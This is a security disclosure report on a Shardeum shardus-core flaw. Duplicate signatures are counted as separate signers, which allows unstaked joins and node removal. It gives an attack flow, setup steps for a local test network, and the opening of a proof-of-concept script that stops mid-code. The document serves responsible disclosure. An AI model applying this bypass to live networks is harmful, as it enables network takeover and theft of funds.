34252 - [BC - Critical] Bypass Certificate Signing Validation

Bypass Certificate Signing Validation

Submitted on Aug 7th 2024 at 21:12:49 UTC by @Blockian for Boost | Shardeum: Core

Report ID: #34252

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

  • Direct loss of funds

Description

Bypass Certificate Signing Validation

Impact

  1. Bypass stake certificate validation, allowing for non-staking nodes and network take-over

  2. Bypass nodes removal validation, allowing to remove nodes from the network

Root Cause

The function validateClosestActiveNodeSignatures counts repeated signatures as different signatures, allowing for 1 valid signature to be counted as minRequired. In other words - signatures are counted, instead of signers.

Deep Dive

The functions validateClosestActiveNodeSignatures and validateActiveNodeSignatures receive a parameter minRequired that specify what is the minimal number of nodes need to sign the appData to make it valid.

  1. https://github.com/shardeum/shardus-core/blob/4d75f797a9d67af7a94dec8860220c4e0f9ade3c/src/shardus/index.ts#L1780

  2. https://github.com/shardeum/shardus-core/blob/4d75f797a9d67af7a94dec8860220c4e0f9ade3c/src/shardus/index.ts#L1746 It does so by looping over the signature list, and checking if the signature is valid. If it is, the counter is incremented.

  3. https://github.com/shardeum/shardus-core/blob/4d75f797a9d67af7a94dec8860220c4e0f9ade3c/src/shardus/index.ts#L1763

  4. https://github.com/shardeum/shardus-core/blob/4d75f797a9d67af7a94dec8860220c4e0f9ade3c/src/shardus/index.ts#L1763 If the amount is more than the min required, true is returned

  5. https://github.com/shardeum/shardus-core/blob/4d75f797a9d67af7a94dec8860220c4e0f9ade3c/src/shardus/index.ts#L1769

  6. https://github.com/shardeum/shardus-core/blob/4d75f797a9d67af7a94dec8860220c4e0f9ade3c/src/shardus/index.ts#L1815

Suggested Fix

Remove the public key from closestNodesByPubKey after counting it.

Flow

  • Malicious node generates a fake JoinRequest with a fake StakingCertificate

    • It brute-forces StakingCertificate fields to make sure its one of the closest nodes to the hash of the staking certificates. This is easy, as only 1 node is needed to be close.

  • It creates the full JoinRequest, with multiple copies of its signature, instead of signatures from many other nodes.

  • It calls gossip-join-request

  • Other nodes receive the join request, and validate it using validateClosestActiveNodeSignatures.

  • The validation bypasses, as they count the number of signatures and not the number of signers.

  • The new node joins the network without staking.

Severity

This allows to take over the network (by kicking nodes / adding nodes) and so it critical.

Proof of concept

POC

Set-up

  1. Clone shardeum (dev branch)

  2. Clone json-rpc-server (dev branch)

  3. Clone simple-network-test (dev branch)

  4. Run npm i inside all three directories

  5. Install shardus according to the readme in shardeum:

npm install -g shardus
npm update @shardus/archiver
  1. Apply the debug-10-nodes.patch with a 5 nodes modification:

diff --git a/src/config/index.ts b/src/config/index.ts
index 245e749..7549557 100644
--- a/src/config/index.ts
+++ b/src/config/index.ts
@@ -132,8 +132,8 @@ config = merge(config, {
     p2p: {
       cycleDuration: 60,
       minNodesToAllowTxs: 1, // to allow single node networks
-      baselineNodes: process.env.baselineNodes ? parseInt(process.env.baselineNodes) : 300, // config used for baseline for entering recovery, restore, and safety. Should be equivalient to minNodes on network startup
-      minNodes: process.env.minNodes ? parseInt(process.env.minNodes) : 300,
+      baselineNodes: process.env.baselineNodes ? parseInt(process.env.baselineNodes) : 5, // config used for baseline for entering recovery, restore, and safety. Should be equivalient to minNodes on network startup
+      minNodes: process.env.minNodes ? parseInt(process.env.minNodes) : 5,
       maxNodes: process.env.maxNodes ? parseInt(process.env.maxNodes) : 1100,
       maxJoinedPerCycle: 10,
       maxSyncingPerCycle: 10,
@@ -146,7 +146,7 @@ config = merge(config, {
       amountToShrink: 5,
       maxDesiredMultiplier: 1.2,
       maxScaleReqs: 250, // todo: this will become a variable config but this should work for a 500 node demo
-      forceBogonFilteringOn: true,
+      forceBogonFilteringOn: false,
       //these are new feature in 1.3.0, we can make them default:true in shardus-core later
 
       // 1.2.3 migration starts
@@ -306,11 +306,11 @@ config = merge(
   config,
   {
     server: {
-      mode: 'release', // todo: must set this to "release" for public networks or get security on endpoints. use "debug"
+      mode: 'debug', // todo: must set this to "release" for public networks or get security on endpoints. use "debug"
       // for easier debugging
       debug: {
-        startInFatalsLogMode: true, // true setting good for big aws test with nodes joining under stress.
-        startInErrorLogMode: false,
+        startInFatalsLogMode: false, // true setting good for big aws test with nodes joining under stress.
+        startInErrorLogMode: true,
         robustQueryDebug: false,
         fakeNetworkDelay: 0,
         disableSnapshots: true, // do not check in if set to false
  1. Apply the suggested local network changes from the docs:

// Local Testing Adjustments
// src/config/index.ts
cycleDuration: 30,

// Generate new block every 3s
// src/shardeum/shardeumFlags.ts
blockProductionRate: 3,
  1. Prepare the shardeum project by running

npm run prepare

inside the shardeum directory.

  1. Start a local network by running

shardus start 5

inside the shardeum directory.

  1. Run a local json-rpc-server by running

npm run start

at the json-rpc-server directory.

  1. Wait for the network to be ready, by looking at the output from the json-rpc-server. We need Current number of good nodes to be 5.

  2. Apply the patch for package.json inside simple-network-test

diff --git a/package.json b/package.json
index f1fa89a..5b096a9 100644
--- a/package.json
+++ b/package.json
@@ -3,6 +3,9 @@
     "commander": "^12.1.0",
     "dotenv": "^16.4.5",
     "ethers": "^5.7.2",
-    "winston": "^3.13.0"
+    "winston": "^3.13.0",
+    "@ethereumjs/util": "^9.0.2",
+    "@shardus/types": "1.2.14",
+    "@shardus/crypto-utils": "4.1.3"
   }
 }
  1. Create the poc file

const { Utils } = require("@shardus/types");
const crypto = require("@shardus/crypto-utils");

// Function to fetch and extract the 'start' field from the newest cycle data
const fetchStartField = async () => {
  try {
    const response = await fetch("http://localhost:9001/sync-newest-cycle", {
      method: "GET",
      headers: {
        "Content-Type": "application/json",